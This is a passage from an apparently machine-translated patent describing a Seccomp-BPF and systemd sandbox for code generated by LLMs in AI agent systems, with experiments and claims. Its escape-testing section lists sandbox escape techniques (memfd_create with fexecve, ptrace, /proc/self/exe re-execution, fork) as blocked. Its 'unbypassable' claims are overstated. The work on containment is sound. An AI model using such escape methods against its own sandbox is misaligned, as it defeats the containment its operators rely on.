len(str(result))) Step 2.3: The AI ​​Agent receives the response from the LLM and extracts the generated code.

[0206] Step 2.4: As Figure 4 As shown, the AI ​​Agent records the generated code to the audit log, identifies the language type of the code (i.e., the programming language of the code, such as Python / Java / .NET), for subsequent worker scheduling, and packages the code and language type information into an execution request and submits it to the Sandbox Gateway.

[0207] 3. Sandbox Gateway scheduling phase.

[0208] Phase Description: The Gateway receives execution requests, generates security policy configurations and resource limit configurations, and schedules appropriate Workers.

[0209] Step 3.1: The Gateway receives the execution request from the AI ​​Agent and verifies the request format and permissions. The request includes information such as the task ID, code content, language type, and priority.

[0210] Step 3.2: As Figure 4 As shown, Gateway's security policy engine generates security policy configurations based on task type.

[0211] Step 3.3: As Figure 4 As shown, Gateway generates resource limit configurations.

[0212] Step 3.4: The Gateway selects the appropriate Worker pool based on the code language. For Python code, it schedules Python Workers; for Java code, it schedules Java Workers; and for .NET code, it schedules .NET Workers. The scheduling algorithm considers the current load and health status of the Workers.

[0213] Step 3.5: As Figure 4 As shown, the Gateway sends the execution request (including code, security policy configuration, and resource limit configuration) to the selected Worker and starts a timeout timer. If the Worker does not return a result within the specified time, the Gateway will forcibly terminate the task.

[0214] 4. Worker Sandbox Construction Phase.

[0215] Phase Description: The Worker receives the execution request and creates an isolated sandbox environment.

[0216] Step 4.1: The Worker receives the execution request from the Gateway and parses the security policy configuration and resource limit configuration.

[0217] Step 4.2: As Figure 4 As shown, the worker creates a working directory. The worker creates a working directory named with a GUID under / opt / sandbox / and sets strict file system permissions.

[0218] Step 4.3: As Figure 4 As shown, the code generated by LLM is written into a script file in the working directory, and the Seccomp strategy code is injected at the same time (as a pre-script part of the script).

[0219] Step 4.4: As Figure 4 As shown, the systemd-run command is constructed. Resource limit parameters are translated into systemd-run command-line arguments.

[0220] 5. Seccomp strategy injection phase.

[0221] Phase Description: Before code execution, the Seccomp policy is injected into the execution environment. This is the most critical security step in the entire system.

[0222] Step 5.1: Policy Conversion. The Worker converts the advanced security policy configuration provided by the Gateway into specific Seccomp system call filtering rules.

[0223] Step 5.2: Strategy Injection Method Selection. Different injection methods are selected based on the runtime type: Python: Python API injection can be performed by directly calling the Python API at the beginning of the script using the pyseccomp library. The Seccomp-BPF filter is loaded after the import and initialization code has been executed, but before the user code is executed.

[0224] Java: The C interface of libseccomp is called via JNA (Java Native Access). Injection is completed at the beginning of the main method by calling seccomp_init, seccomp_rule_add, and seccomp_load.

[0225] .NET: The C interface of libseccomp.so.2 is called via P / Invoke (DllImport). The initialization and loading of the Seccomp-BPF filter are completed at the beginning of the main method.

[0226] Step 5.3: Policy Verification. After loading the Seccomp-BPF filter, the Worker verifies that the policy has been successfully loaded by checking the return value of seccomp_load. If loading fails (return value less than 0), the Worker will abort execution and report the error to the Gateway.

[0227] Step 5.4: Irreversibility Confirmation. Once loaded, the Seccomp-BPF filter cannot be removed or relaxed throughout the entire lifecycle of the process. This ensures that even if LLM-generated code attempts to remove the security restrictions, it will fail. The kernel guarantees this irreversibility.

[0228] 6. Code execution and monitoring phase.

[0229] Phase description: Execute the LLM-generated code under Seccomp protection and monitor the execution status in real time.

[0230] Step 6.1: Start execution. For example... Figure 4As shown, the Worker starts the sandbox process via systemd-run; as Figure 5 As shown, the Linux Kernel creates Cgroups and sets resource limits. Sandbox processes run in independent Cgroups and are subject to resource limits such as CPU and memory.

[0231] Step 6.2: Seccomp interception. For example... Figure 5 As shown, after the Linux Kernel loads the Seccomp-BPF filter, it executes the code generated by the LLM. When the LLM-generated code attempts to execute a prohibited system call, the kernel's Seccomp-BPF filter intercepts the system call and returns an EPERM error (or terminates the process according to the configuration).

[0232] Step 6.3: Resource Monitoring. Systemd monitors process resource usage in real time through Cgroups: • CPU utilization: When the CPUQuota limit is exceeded, the process is throttled. • Memory usage: When the MemoryMax limit is exceeded, the OOM Killer is triggered to terminate the process; • Number of processes: When the TasksMax limit is exceeded, new fork / clone calls fail; • Execution time: The Worker maintains a timeout timer, and sends a SIGKILL signal to terminate the process after the timeout.

[0233] Step 6.4: Exception Handling. If an exception occurs during code execution (Seccomp violation, OOM, or timeout, etc.), the Worker logs the exception information and ensures that the process is terminated correctly and resources are reclaimed.

[0234] 7. Results collection and return phase.

[0235] Phase Description: Collect the output of code execution, clean up the sandbox environment, and return the results to the user.

[0236] Step 7.1: Output collection. For example... Figure 5 As shown, after a process terminates, the Linux Kernel returns stdout / stderr; the worker collects the execution results (capturing the process's stdout and stderr output) and violation records. An example output is shown below: stdout: "sandbox loaded" "file write ok" (File write is allowed within the sandbox) stderr: "ls blocked: [Errno 1] Operation not permitted" "socket blocked: [Errno 1] Operation not permitted" "delete blocked: [Errno 1] Operation not permitted" "Still alive" (Demonstration: The process has not been terminated and continues to run) Step 7.2: Result Encapsulation. The Worker encapsulates the execution result into a standard format response, as shown in the following example: { "task_id": "task-12345", "status": "completed_with_violations", "exit_code": 0, "stdout": "sandbox loaded\nfile write ok\nstill alive", "stderr": "ls blocked: ...\nsocket blocked: ...\ndelete blocked:...", "violations": [ {"syscall": "execve", "timestamp": "2026-05-25T10:30:01Z"}, {"syscall": "socket", "timestamp": "2026-05-25T10:30:01Z"}, {"syscall": "unlink", "timestamp": "2026-05-25T10:30:02Z"} ], "execution_time_ms": 250, "resource_usage": {"cpu_ms": 45, "memory_peak_mb": 18}} Step 7.3: Sandbox Cleaning. (e.g., ...) Figure 5 As shown, the Worker cleans up the working directory and all files within it, freeing up Cgroup resources. The cleanup operation ensures that no residual files or processes are left behind.

[0237] Step 7.4: Result returned. For example... Figure 5 As shown, the Worker returns the execution result to the Gateway; the Gateway records a complete audit log and then forwards the execution result to the AI ​​Agent; the AI ​​Agent formats the result and returns a secure execution result to the user. The AI ​​Agent displays the execution result to the user, clearly informing them which operations were blocked by the security policy.

[0238] The following is a comparative analysis of Seccomp transient units and Docker.

[0239] 1. Startup performance comparison.

[0240] Startup performance is one of the most critical metrics in AI Agent code execution scenarios. Users expect to receive execution results as soon as possible after submitting code, and excessive startup delays can severely impact user experience. Table 3 below compares the startup performance of Seccomp transient units and Docker.

[0241] Table 3

[0242] In Table 3, x represents times. Analysis: The startup process of a Seccomp transient unit only includes creating a Cgroup, setting resource limits, and starting the process. In contrast, the startup process of a Docker container includes creating a namespace, setting up the network (vethpair, iptables), mounting the file system (OverlayFS), creating a Cgroup, and starting the init process. These additional steps in Docker containers result in significant startup delays.

[0243] 2. Comparison of resource costs.

[0244] The resource overhead of Seccomp transient units and Docker is compared in Table 4 below.

[0245] Table 4

[0246] Analysis: Seccomp transient units have virtually zero resource overhead—they do not create separate namespaces, require no file system image, and no network configuration; processes run directly within the host machine's namespace, with resource usage limited only by Cgroups and system calls restricted by Seccomp. This allows a single machine to support hundreds or even thousands of concurrent sandbox instances.

[0247] 3. Comparison of security isolation capabilities.

[0248] The security isolation capabilities of Seccomp transient units and Docker are compared in Table 5 below.

[0249] Table 5

[0250] Analysis: In terms of system call filtering and network isolation, both solutions offer equivalent security capabilities. Docker is stronger in file system and process isolation (through namespaces), but for AI Agent scenarios, Seccomp's system call filtering is sufficient—because dangerous operations (exec, network, and file deletion) are all implemented through system calls, and blocking system calls blocks dangerous operations.

[0251] 4. Deployment and maintenance comparison.

[0252] The deployment and maintenance comparison between Seccomp transient units and Docker is shown in Table 6 below.

[0253] Table 6

[0254] Based on the above comparative analysis, the following conclusions can be drawn: (1) For AI Agent code execution scenarios, Seccomp transient units are a better choice. They start up 10-100 times faster, have almost zero resource overhead, are extremely simple to deploy and maintain, and provide sufficient security isolation capabilities.

[0255] (2) Docker containers are suitable for scenarios that require complete file system isolation (such as multi-tenant services and long-running services). However, for frequent and short-lived code execution tasks in AI Agent, the startup overhead and resource consumption of Docker are unnecessary.

[0256] (3) The two solutions can be used in a complementary manner. In scenarios with extremely high security requirements, Seccomp can be used inside the Docker container for fine-grained system call filtering, thus achieving double protection.

[0257] (4) The main limitation of Seccomp transient units is their relatively weak file system isolation. If a completely isolated file system view is required, it is still necessary to combine it with namespace or container technology. However, for most AI Agent scenarios, working directory restrictions and file system permission control are sufficient.

[0258] To verify the effectiveness of the embodiments of the present invention, the experimental process and evaluation results are provided below.

[0259] 1. Experimental environment.

[0260] The experiment was conducted in the following environment: • Operating system: Ubuntu 22.04 LTS (Linux Kernel 5.15); • CPU: Intel Xeon E5-2680 v4 @ 2.40GHz (14 cores, 28 threads); • Memory: 64GB DDR4 ECC; • Storage: 1TB NVMe SSD; •Systemd version: 249.11; • libseccomp version: 2.5.3; • Docker version: 24.0.7; • Python version: 3.10.12; • Java version: OpenJDK 17.0.8; • .NET version: 8.0.100.

[0261] 2. Security verification.

[0262] 2.1 System call prevents verification.

[0263] Test objective: To verify that the Seccomp-BPF filter can correctly block all configured dangerous system calls.

[0264] Test method: Execute the code containing dangerous operations in Python, Java, and .NET runtimes respectively to verify that all dangerous system calls are correctly blocked. The results of the system call blocking verification are shown in Table 7 below.

[0265] Table 7

[0266] Test results: All configured dangerous system calls were correctly blocked in all three runtime environments, while permitted operations (file read / write) performed normally. The behavior of the Seccomp-BPF filter is as expected.

[0267] 2.2 Escape attempt verification.

[0268] Test objective: To verify that malicious code cannot bypass Seccomp restrictions.

[0269] Testing method: Several known sandbox escape techniques were tried, and all were effectively blocked.

[0270] • Re-execute itself via / proc / self / exe → execve is blocked; • Executing a program in memory via memfd_create + fexecve → execveat is blocked; • Attaching to other processes via ptrace → ptrace is blocked; • Sending network data via raw socket → socket blocked; • Moving a file outside the sandbox via rename → rename is blocked; • Creating a link outside the sandbox via symlink → blocked by working directory restrictions; • Attempt to uninstall the Seccomp-BPF filter → Kernel does not allow it, operation is ineffective; • Escape by creating a child process using fork → The child process inherits the Seccomp rules.

[0271] Test results: All known escape techniques were effectively blocked. Seccomp's kernel-level enforcement ensures that user-mode code cannot bypass security restrictions.

[0272] 3. Performance testing.

[0273] 3.1 Start the delay test.

[0274] Test method: The startup latency of Seccomp transient units and Docker containers were measured separately. Each scheme was executed 1000 times and the average value was taken. The results are shown in Table 8 below.

[0275] Table 8

[0276] 3.2 Throughput Test.

[0277] Test method: Within a fixed time window, the number of code execution tasks that the two schemes can complete is measured. Each task executes a simple Python script (to calculate the first 20 terms of the Fibonacci sequence), and the results are shown in Table 9 below.

[0278] Table 9

[0279] 4. Stability test.

[0280] Test method: Run continuously for 72 hours, submitting 10 code execution tasks per second to monitor system stability.

[0281] • Total number of tasks executed: 2,592,000; • Successfully completed: 2,591,847 (99.994%); • Timeout termination: 128 (0.005%); • OOM Termination: 25 (0.001%); • System crashes: 0; • Resource leakage: 0; • Average host CPU utilization: 35%; • Average host memory utilization: 42%.

[0282] Test conclusion: The system performed stably under continuous high load for 72 hours, with no system crashes or resource leaks. The very few timeouts and OOM terminations were due to issues with the test code itself (such as infinite loops or excessive memory allocation), and the system's resource limiting mechanism correctly terminated these abnormal tasks.

[0283] Key technical points of the embodiments of the present invention include: 1. Kernel-level mandatory security boundaries.

[0284] The most significant improvement in this system lies in moving the security boundary down from the application layer to the operating system kernel layer. Traditional solutions rely on application-layer mechanisms such as prompt filtering and code review, which are essentially advisory—they can be bypassed.

[0285] Seccomp-BPF provides a mandatory security boundary, guaranteed by the Linux kernel, and has the following characteristics: (1) Unbypassability: The Seccomp-BPF filter executes in kernel space, and user-mode code cannot bypass it under any circumstances. Even if an attacker gains arbitrary code execution capabilities within a process (such as through a buffer overflow), they cannot remove the Seccomp restriction. This is because the Seccomp-BPF filter check occurs at the system call entry point, before any user-mode code is executed.

[0286] (2) Irreversibility: According to the design of the Linux kernel, once a process loads the Seccomp-BPF filter, it cannot remove or relax the existing restrictions. New filters can only further tighten the restrictions by taking the intersection. This ensures the monotonically increasing nature of the security policy—security will only become stronger, not weaker.

[0287] (3) Inheritance: Seccomp-BPF filters are inherited by child processes. Even if malicious code attempts to escape the restrictions by creating a child process through fork, the child process will inherit all Seccomp rules from the parent process.

[0288] (4) Minimal performance overhead: The execution time of Seccomp-BPF filters is usually less than 100 nanoseconds, and the performance impact on system calls is negligible. Compared with the namespace switching overhead of Docker containers, Seccomp is almost zero cost.

[0289] 2. Zero-trust execution model.

[0290] This system adopts a zero-trust execution model, which is a fundamental improvement over the traditional trusted but verified model: Traditional model (trust but verification): This model assumes that most of the code generated by the LLM is safe, and that a small amount of dangerous code is discovered and blocked through prompt filtering and code review. The problem is that the verification mechanism is incomplete.

[0291] This system model (zero trust) assumes that all code generated by the LLM is malicious and makes no security assumptions about the code content. Security is guaranteed entirely by the limitations of the execution environment, not by the security of the code itself.

[0292] The advantage of the zero-trust model lies in its complete decoupling of security from the behavior of the LLM. Regardless of whether the LLM is jailbroken, whether the prompt filter is bypassed, or what malicious operations are included in the code, the system's security remains unaffected. This provides deterministic security guarantees, rather than probabilistic ones.

[0293] 3. Lightweight resource isolation.

[0294] This system uses Systemd transient units instead of Docker containers for resource isolation, which is a significant architectural improvement. (1) Startup speed: The creation time of Systemd transient units is usually 10-50ms, while Docker containers require 500ms-2s. For frequent code execution requests in AI Agent scenarios, this difference means a 10-100 times improvement in response speed.

[0295] (2) Resource efficiency: Transient units do not require an independent file system layer, network stack, or process namespace; resource constraints are only implemented through Cgroups. This means that hundreds of sandbox instances can run simultaneously on the same machine, while Docker solutions typically only support a few dozen concurrent containers.

[0296] (3) Simple operation and maintenance: Transient units do not require infrastructure such as Docker daemons, image repositories, and container orchestration. They only require the Linux kernel and Systemd (which is built into almost all existing Linux distributions) to run.

[0297] (4) Automatic cleanup: Transient units are automatically destroyed after the command is executed, leaving no residual containers, network interfaces or storage volumes. This simplifies resource management and avoids the problem of zombie containers.

[0298] 4. Dynamic strategy configuration.

[0299] This system supports dynamically generating security policies based on task requirements, rather than using fixed security configurations. This improvement allows the system to achieve an optimal balance between security and functionality. (1) Task-aware strategy: Different types of tasks can use different security strategies. For example, pure mathematical calculation tasks can use the strictest strategy (prohibiting all I / O), while data analysis tasks can allow file reading.

[0300] (2) Policy template library: The system predefines a variety of security policy templates. Gateway can automatically select the appropriate template according to the task characteristics without manual configuration.

[0301] (3) Hot policy update: Security policies can be updated without restarting the system. When a new attack pattern is discovered, new restriction rules can be added immediately.

[0302] (4) Strategy auditing and optimization: The system records the effect of each strategy execution (whether it triggers a violation or affects normal functions), providing data support for strategy optimization.

[0303] 5. Complete audit chain.

[0304] This system implements a complete audit chain from user input to code execution, which is an important foundation for secure operations and compliance. The audit process covers the following stages: • User Prompt Log: Fully records the user's original input, supporting post-attack analysis of attack patterns; • LLM generated code log: Records the complete code generated by the LLM for analyzing the security behavior of the LLM; • Security policy logging: Records the security policy configuration used each time it is executed; • System call violation log: Records all system calls blocked by Seccomp, including call type, timestamp, and parameters; • Runtime log: Records stdout / stderr output during code execution; • Resource usage log: Records resource usage data such as CPU time, peak memory usage, and execution time; • Exception event logging: Records exception events such as timeouts, OOMs, and process crashes.

[0305] A complete audit chain enables security teams to trace attack paths, analyze attack patterns, and evaluate the effectiveness of security strategies, while meeting compliance audit requirements and providing data support for security strategy optimization.

[0306] In summary, this invention addresses the secure execution problem of LLM-generated code in AI Agent systems by proposing a lightweight security sandbox architecture based on the Linux Seccomp-BPF kernel-level system call filtering mechanism. The main contributions include: (1) The zero-trust execution model is proposed as a security concept: instead of trying to prevent the generation of dangerous code, it ensures that even if dangerous code is executed, it cannot cause actual harm. This concept completely decouples security from the behavior of LLM and provides deterministic security guarantees.

[0307] (2) A complete Sandbox Gateway-Worker architecture was designed and implemented, including core components such as a security policy engine, multi-language worker scheduling, resource limit management, lifecycle control, and audit logs. The system supports three mainstream runtime environments: Python, Java, and .NET.

[0308] (3) The significant advantages of Seccomp transient units compared to Docker containers were verified: 10-100 times faster startup latency (18ms vs 680-1450ms), almost zero resource overhead, and equivalent security isolation capabilities.

[0309] (4) The security, performance and stability of the scheme were verified through systematic experiments: all dangerous system calls were correctly blocked, all known escape techniques were effectively defended, and the system performed stably under continuous high load for 72 hours.

[0310] like Figure 6 As shown, an electronic device 600 provided in this embodiment of the invention includes: a processor 601, a memory 602 and a bus. The memory 602 stores a computer program that can run on the processor 601. When the electronic device 600 is running, the processor 601 and the memory 602 communicate through the bus. The processor 601 executes the computer program to implement the above-mentioned lightweight AIAgent security sandbox execution method.

[0311] Specifically, the memory 602 and processor 601 mentioned above can be general-purpose memory and processor, without any specific limitations here.

[0312] This invention also provides a computer-readable storage medium storing a computer program. When a processor runs this computer program, it executes the lightweight AI Agent security sandbox execution method described in the preceding method embodiments. The computer-readable storage medium includes various media capable of storing program code, such as USB flash drives, external hard drives, read-only memory (ROM), RAM, magnetic disks, or optical disks.

[0313] In this document, the term "and / or" is merely a description of the relationship between related objects, indicating that three relationships can exist. For example, A and / or B can represent three cases: A alone, A and B simultaneously, and B alone. Furthermore, the term "at least one" in this document means any combination of at least two of any one or more elements. For example, including at least one of A, B, and C can mean including any one or more elements selected from the set consisting of A, B, and C.

[0314] In all examples shown and described herein, any specific values ​​should be interpreted as merely exemplary and not as limitations; therefore, other examples of exemplary embodiments may have different values.

[0315] The flowcharts and block diagrams in the accompanying drawings illustrate the architecture, functionality, and operation of possible implementations of systems, methods, and computer program products according to various embodiments of the present invention. In this regard, each block in a flowchart or block diagram may represent a module, segment, or portion of code, which contains one or more executable instructions for implementing a specified logical function. It should also be noted that in some alternative implementations, the functions marked in the blocks may occur in a different order than those shown in the drawings. For example, two consecutive blocks may actually be executed substantially in parallel, and they may sometimes be executed in reverse order, depending on the functions involved. It should also be noted that each block in the block diagrams and / or flowcharts, and combinations of blocks in the block diagrams and / or flowcharts, may be implemented using a dedicated hardware-based system that performs the specified function or action, or using a combination of dedicated hardware and computer instructions.

[0316] In the several embodiments provided in this application, it should be understood that the disclosed systems and methods can be implemented in other ways. The system embodiments described above are merely illustrative. For example, the division of modules is only a logical functional division, and there may be other division methods in actual implementation. Furthermore, multiple modules or components may be combined or integrated into another system, or some features may be ignored or not executed. Additionally, the coupling or direct coupling or communication connection shown or discussed may be through some communication interface, and the indirect coupling or communication connection between modules may be electrical, mechanical, or other forms.

[0317] The modules described as separate components may or may not be physically separate. Similarly, the components shown as modules may or may not be physical modules; they may be located in one place or distributed across multiple network modules. Some or all of the modules can be selected to achieve the purpose of this embodiment, depending on actual needs.

[0318] In addition, the functional modules in the various embodiments of the present invention can be integrated into one processing module, or each module can exist physically separately, or two or more modules can be integrated into one module.

[0319] Finally, it should be noted that the above embodiments are only used to illustrate the technical solutions of the present invention, and not to limit them; although the present invention has been described in detail with reference to the foregoing embodiments, those skilled in the art should understand that modifications can still be made to the technical solutions described in the foregoing embodiments, or equivalent substitutions can be made to some or all of the technical features; and these modifications or substitutions do not cause the essence of the corresponding technical solutions to deviate from the scope of the technical solutions of the embodiments of the present invention.

Claims

1. A method for executing a lightweight AI Agent security sandbox, characterized in that, Applied to a sandbox layer, the sandbox layer including a sandbox gateway and sandbox worker nodes; the method includes: The sandbox gateway receives an initial execution request sent by the intelligent agent, the initial execution request including the target code and its language type information generated by the large language model based on the user prompt words; The sandbox gateway generates a security policy configuration and a resource restriction configuration corresponding to the initial execution request, and sends the target execution request, including the security policy configuration, the resource restriction configuration, and the target code, to the sandbox worker node selected based on the language type information; The sandbox worker node is configured according to the security policy to inject a Seccomp-BPF filter into the execution environment of the target code, and executes the target code under the constraints of the resource limit configuration; wherein, the Seccomp-BPF filter is used to filter system calls during the execution of the target code at the kernel level.

2. The method according to claim 1, characterized in that, The generation of the security policy configuration and resource restriction configuration corresponding to the initial execution request includes: Based on the task type corresponding to the initial execution request, a corresponding policy template is selected from the predefined policy template library, and the security policy configuration is generated based on the selected policy template. The resource limit configuration is dynamically generated based on the expected complexity of the task corresponding to the initial execution request and the current system load; wherein, the current system load is used to characterize the real-time resource pressure status of the host machine where the sandbox layer is located.

3. The method according to claim 1, characterized in that, The security policy configuration adopts a default denial principle, explicitly prohibiting the target code from executing dangerous system calls; the dangerous system calls cover at least the following categories of operating system kernel interfaces: file read / write, process control, network sockets, thread synchronization, memory management, eBPF, container namespaces, and security mechanisms, in order to achieve fine-grained permission constraints.

4. The method according to claim 1, characterized in that, The resource limit configuration is implemented through Systemd transient units, and the resource limit configuration includes at least one or more of CPU usage quota, memory usage limit and maximum number of processes.

5. The method according to claim 1, characterized in that, The target execution request also includes a globally unique identifier generated randomly by the sandbox gateway; the step of injecting a Seccomp-BPF filter into the execution environment of the target code according to the security policy configuration, and executing the target code under the constraints of the resource limit configuration, includes: Create a working directory based on the globally unique identifier; Write the target code into a script file in the working directory; The security policy configuration is compiled into the Seccomp-BPF filter, and the Seccomp-BPF filter is injected before the target code is executed according to the injection method corresponding to the language type information. Specifically, if the language type information is Python, the Seccomp-BPF filter is injected at the beginning of the script file through the pyseccomp library; if the language type information is Java, the Seccomp-BPF filter is injected at the beginning of the main method by calling libseccomp through JNA; if the language type information is .NET, the Seccomp-BPF filter is injected at the beginning of the main method by calling libseccomp through P / Invoke. Based on the resource constraint configuration, a transient unit execution command containing resource constraint parameters is generated; Commands are executed through the transient unit to run the script file under the constraints of the resource limit configuration in order to execute the target code; wherein, system calls during the execution of the target code are filtered at the kernel level by the Seccomp-BPF filter.

6. The method according to claim 5, characterized in that, After executing commands through the transient unit to run the script file under the constraints of the resource limit configuration to execute the target code, the method further includes: The sandbox worker nodes monitor the resource usage of the processes corresponding to the script files in real time through Systemd's Cgroups mechanism, and take corresponding actions when they detect that the resource limit thresholds are exceeded. Specifically, when the CPU usage quota is exceeded, the CPU scheduling of the process is restricted; when the memory usage limit is exceeded, the OOM Killer is triggered to terminate the process; and when the maximum number of processes is exceeded, new fork or clone calls fail. The sandbox worker node maintains an execution timeout timer and sends a SIGKILL signal to the process after the timeout to forcibly terminate the process. When the sandbox worker node detects at least one of the following anomalies: EPERM error, OOM termination, or timeout termination returned by the Seccomp-BPF filter, it records the anomaly information.

7. The method according to claim 1, characterized in that, The sandbox worker node is configured according to the security policy to inject a Seccomp-BPF filter into the execution environment of the target code. After executing the target code under the constraints of the resource limit configuration, the method further includes: The sandbox worker node acquires execution information and returns it to the sandbox gateway; wherein, the execution information includes system call violation records, runtime logs, execution results, resource usage statistics, and execution time; The sandbox gateway receives the execution information, records the audit log, and returns the execution result to the user; wherein, the audit log includes one or more of the following: the user prompt, the target code, the security policy configuration, the resource restriction configuration, the system call violation record, the runtime log, the execution result, the resource usage statistics, and the execution time.

8. A lightweight AI Agent security sandbox execution system, characterized in that, It includes an intelligent agent layer and a sandbox layer. The intelligent agent layer includes an intelligent agent and a large language model. The sandbox layer includes a sandbox gateway and a sandbox worker node. The sandbox gateway is used to receive an initial execution request sent by the intelligent agent. The initial execution request includes the target code and its language type information generated by the large language model based on the user prompt words. The sandbox gateway is used to generate a security policy configuration and a resource restriction configuration corresponding to the initial execution request, and to send the target execution request, including the security policy configuration, the resource restriction configuration and the target code, to the sandbox worker node selected based on the language type information; The sandbox worker node is configured to inject a Seccomp-BPF filter into the execution environment of the target code according to the security policy configuration, and execute the target code under the constraints of the resource limit configuration; wherein, the Seccomp-BPF filter is used to filter system calls during the execution of the target code at the kernel level.

9. An electronic device comprising a memory and a processor, wherein the memory stores a computer program executable on the processor, characterized in that, When the processor executes the computer program, it implements the execution method of the lightweight AI Agent security sandbox as described in any one of claims 1-7.

10. A computer-readable storage medium storing a computer program thereon, characterized in that, The computer program is executed by the processor to perform the execution method of the lightweight AIAgent security sandbox as described in any one of claims 1-7.